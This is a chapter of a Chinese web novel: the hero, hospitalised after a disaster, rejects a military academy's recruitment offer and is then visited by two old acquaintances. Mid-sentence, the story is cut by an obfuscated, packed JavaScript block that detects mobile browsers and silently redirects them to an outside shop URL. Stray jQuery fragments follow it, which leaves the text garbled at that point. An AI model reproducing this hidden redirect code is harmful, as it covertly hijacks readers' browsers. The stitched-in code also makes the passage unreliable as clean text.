替卡里亚面积感人的小屋着想,许榕还是回去住了院。
诺卡定期会过来查看机械手的适应情况。
“你的精神力刚觉醒的时候有一个爆发高峰,这实际上是一种精神力失控,非常危险。还好治疗的及时,否则你的脑域甚至就废了。”
医生看着他的报告单,“在你的精神力彻底恢复正常之前,绝对不可以再任由你的精神力陷入失控。”
许榕手里拿着一杯白水,有一搭没一搭地抿着喝,“都说了是失控,这也不是我能控制的。”
医生白了他一眼,“那就不要大规模地使用精神力啊!是命重要还是炫你的精神力重要?”
许榕一直以为医生都是温柔天使。看来帝都星的医生都是那么暴躁。
许榕给医生倒了杯茶,“降降火。放心,我保证谨遵医嘱。”
医生看上去很满意。
这几天医院里人很多,医生告诉他是因为很多军校都在为几个月后的联赛做准备,提前安排一次体检。
很多军校生都在这几天来了医院。
许榕从窗户往下看,能隐约看到楼下来去匆匆的机器人和一些纪律严明,穿着军装的年轻人。
许榕早就发现,自从他的精神力觉醒,他的五感就比以前提高很多,甚至有时候会有一些玄乎的感受。
卡里亚告诉他,这是战斗本能。
“给我看看。”一只手从医生手里抽走了报告单。
许榕看过去。
是当初星舰上给他治疗的卷毛医生。
后来许榕才知道,这是三军的随军医生,甚至是有军衔的。
那个医生也打招呼,“少校,您来了。”
殴陆点头,“没什么事儿,我就顺便来看看。”
那个医生给他打了个招呼就推门走了出去。
殴陆反客为主坐在主治医生的位置,认真翻看起了报告。
许榕纳闷,“军队里很闲?”
“当然不是。”殴陆笑道,“小朋友,我只是一个医生而已。”
你的军衔可不是那么说的。
许榕在心里吐槽。
“唔……让我看看,你恢复的好像还不错。哎对了,我看你已经换上了机械手。嗯?好像有点眼熟……你用的这个应该不是医院里的吧。”
许榕随意抬了抬左手,把手里的水杯放在一边。
“确实不是。是我叔找了朋友弄来的。”
殴陆没有要求近距离观察,只是道:“看上去还不错。”
许榕非常赞同。
“那好吧。”殴陆说完了那些有的没的,终于严肃起来,“其实我是代表三军来对你表示慰问的。”
许榕揉揉鼻子,“那你应该趁我叔在的时候再直接和我们说。”
“哦不不不。”殴陆笑了一下,“我们联邦并没有成年人保护法,他应该为自己的生命安全负责。我们主要还是想要向你传达一下没有安全把你送达主星的歉意。”
许榕很理智,“这倒不用。”
事实上如果没有第一架星舰,他根本没办法远离星兽潮。
不过,“如果你真的想感谢,不如拿一些实际的。”
殴陆示意,“比如?”
“比如我和我叔的资产都在无名星上,我们现在已经穷的快吃土了。”
殴陆似乎觉得很有意思,“我以为你会更愿意要一些实际的东西。”比如前途,权势之类的。
许榕不明所以,斟酌道:“那能再给分配一套房吗?”
看着许榕迷迷糊糊的样子,殴陆没有提醒他,拿起报告单就站了起来,“我走了。”
“哎!”许榕叫住他,“你把报告单拿走干什么?”
殴陆转头朝许榕眨眨眼,留下一句,“交差。”
殴陆走之前拍了拍许榕的肩膀,莫名其妙道:“好好跟他们聊。”
嗯?
很快,许榕就知道了这句话的意思。
殴陆刚走出去,就从门外进来两个穿着正装的男人。
看样子已经在门外等了有一会儿了。
可恶,竟然不早点提醒他。
许榕看着两人,一个人向前一步和他握手,“您好,许同学。我们是三军附属军校的,想来向您了解一下情况。”
说话间,许榕感觉到来人的眼光在他的左手上停留一瞬。
没等许榕开口,那人就噼里啪啦道:“我们军校的机械技术非常成熟,有很多知名的学者和专家。我保证,您如果进入了我们军校,会得到最好的资源和待遇。这是对您遭遇的苦难的补偿。”
那人可能也想不到许榕根本不按套路出牌。
“你们为什么要补偿我?难道星兽潮是你们引来的,星盗是你们送来的?”
那人直直摇头,“当然不是。”
另一个人在这时候开口,“许榕先生,我是附军的副校长。我们诚邀您加入本校。整个帝都星,您不会找到任何更好的选择。”
“一定要是机械师吗?”
那个副校长皱起眉,另一个人脸色也很不好看。
许榕猜他们一定在心里骂他不好伺候。
“恕我直言。机械专业这对你来说是最好的选择。你既然是无名星出身,那更应该明白人与人之间的差距并不是简简单单的资源所能弥补。但这次明显不同,我保证你能通过我们军校的机械专家得到一个完全不同的未来。”
语气已经非常不好。
这些人打扰了许榕的休息时间,他的心情也非常不好。
许榕兴致缺缺,“不行就算了,你们走吧。”
“或许我们可以和你的家人聊一聊。我记得另一个幸存者……”
“是个热心路人。”
许榕抢先道:“我不认识他,但他在危急关头却没有抛弃我。而且不计前嫌,帮我在星盗眼皮子底下留下珍贵的食物给我。”
综上所述,“他是一个大好人。”
满口胡扯。
副校长分明记得,有人给他的消息是这个男孩和另一个幸存者非常熟,甚至多次同进同出,亲耳听到两人叔侄相称。
他们并不是冷脸洗内裤的人,见许榕这里不同意,也不再放低姿态劝说,只道:“附军只给你这一次机会。多少人的精神力觉醒只是昙花一现,没有后期资源的支撑,你依旧是朝不保夕的普通人。一般来说,以你的资质,是万万没有资格够上我们学校的。而现在,这个一步登天的机会也是被你亲自拒绝掉的。”
两人走出门,许榕还能隐约听到两人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199262|197163||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的声音。
“有些人就是摸不清自己的分量,真以为给一次脸自己就是什么稀罕角色非他不可了?不过是个残废而已。”
另一道声音悠哉悠哉地制止,“不要那么说。他只是一个可怜人罢了,以前或许没上过星网,不知道他拒绝的机会代表着什么。”
“要是他之后后悔了呢?”
“附军也不是什么想来就来想走就走的地方。”
莫名其妙。
许榕不想让这个插曲打搅他一天的好心情。
他躺回自己的病床上,准备开始休息。
有人来敲门,“许先生,有人来看你。”
……又来?
许榕闷声道:“许先生睡着了,听不见。请等他醒后再来。”
门外的人没听清,“什么?”
许榕最后还是任劳任怨地爬起来,打开门。
一开门就对上夏时珩那张三百六十度无死角的脸。
许榕:“……”
夏时珩:“……”
维萨还在许榕耳旁喊,“天哪!榕榕!你知道我看见谁了吗?”
我也看见了,谢谢。
戴卢挤进来,“嗳,原来你就是那个幸运儿啊。”
许榕面无表情道:“二分之一。”
“啊?”
“我说。”许榕让开道,让两人进来,“我是二分之一的幸运儿。”
戴卢哈哈大笑,对夏时珩道:“你别说,这小弟弟还挺好玩儿的。”
谢谢,没你好玩。
夏时珩还有些没反应过来,过了一会儿,戴卢道:“老夏,你怎么回事儿?我也不觉得你是因为小弟弟长得比你帅就自卑的人啊。”
戴卢自说自话,“不会吧,我这几年不会的都看错你了吧。”
夏时珩冷冷把戴卢推开,“滚。”
然后皱着眉看向眼前脸色还有些苍白的少年,眼神几不可查地在他的机械手上一滞。
“你就是那个幸存者。”
很显然。
只是夏时珩想要再确认一次。
之前戴卢很他提过一次。不过当时夏时珩只觉得是一个运气不怎么好的陌生人,并没有什么实感。
现在知道经历那些的是许榕后,夏时珩才陡然惊觉那只言片语中的险象丛生。
没有什么比许榕的病容和他的机械手在此时更有说服力的了。
夏时珩发觉许榕身上已经有某些特质和过去有了变化。但又见许榕熟悉的古灵精怪的笑脸,又觉得其实什么也没变。
于是夏时珩也笑道:“庆祝你成功脱险。需要我请客吗?”
许榕一怔。
戴卢终于发现了不对,“你们原来认识啊?什么时候怎么认识的?我为什么不知道?夏时珩你什么时候背着我偷偷出去玩了?”
夏时珩怼他,“脑子不清醒就不要说话。”
话说完戴卢也察觉到自己的嘴有毒。
许榕以前待的可是鸟不拉屎的垃圾星,夏时珩就算去了也不可能是去玩的。想也知道那不会是什么让人愉快的经历。
而且两个人八成就是在那里认识的,那里也是许榕的故乡,但他短时间里肯定是回不去了。
戴卢暗骂自己哪壶不提开哪壶。